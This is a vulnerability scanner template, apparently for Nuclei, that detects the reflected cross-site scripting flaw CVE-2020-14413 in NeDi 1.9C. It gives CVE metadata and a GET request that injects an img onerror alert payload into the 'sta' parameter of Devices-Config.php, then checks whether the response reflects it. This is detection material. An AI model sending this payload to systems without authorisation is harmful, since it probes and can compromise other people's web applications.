49 lines
1.6 KiB
YAML
49 lines
1.6 KiB
YAML
id: CVE-2020-14413
|
|
|
|
info:
|
|
name: NeDi 1.9C - Cross-Site Scripting
|
|
author: pikpikcu
|
|
severity: medium
|
|
description: NeDi 1.9C is vulnerable to cross-site scripting because of an incorrect implementation of sanitize() in inc/libmisc.php. This function attempts to escape the SCRIPT tag from user-controllable values, but can be easily bypassed, as demonstrated by an onerror attribute of an IMG element as a Devices-Config.php?sta= value.
|
|
remediation: |
|
|
Upgrade to a patched version of NeDi or apply the vendor-supplied patch to mitigate this vulnerability.
|
|
reference:
|
|
- https://gist.github.com/farid007/8db2ab5367ba00e87f9479b32d46fea8
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-14413
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2020-14413
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00095
|
|
epss-percentile: 0.39905
|
|
cpe: cpe:2.3:a:nedi:nedi:1.9c:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: nedi
|
|
product: nedi
|
|
tags: cve,cve2020,nedi,xss
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/Devices-Config.php?sta=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "<img src=x onerror=alert(document.domain)>"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 480a0045304302205cd3d23a9e4b6eb398dd6f0b20926b675455ff9273f3b7b812da1bc4036f3d4d021f45e2a4fab680229f6a8f5ca492d55d21f9d13daa4b1711a082b4f330c6bfa6:922c64590222798bb761d5b6d8e72950
|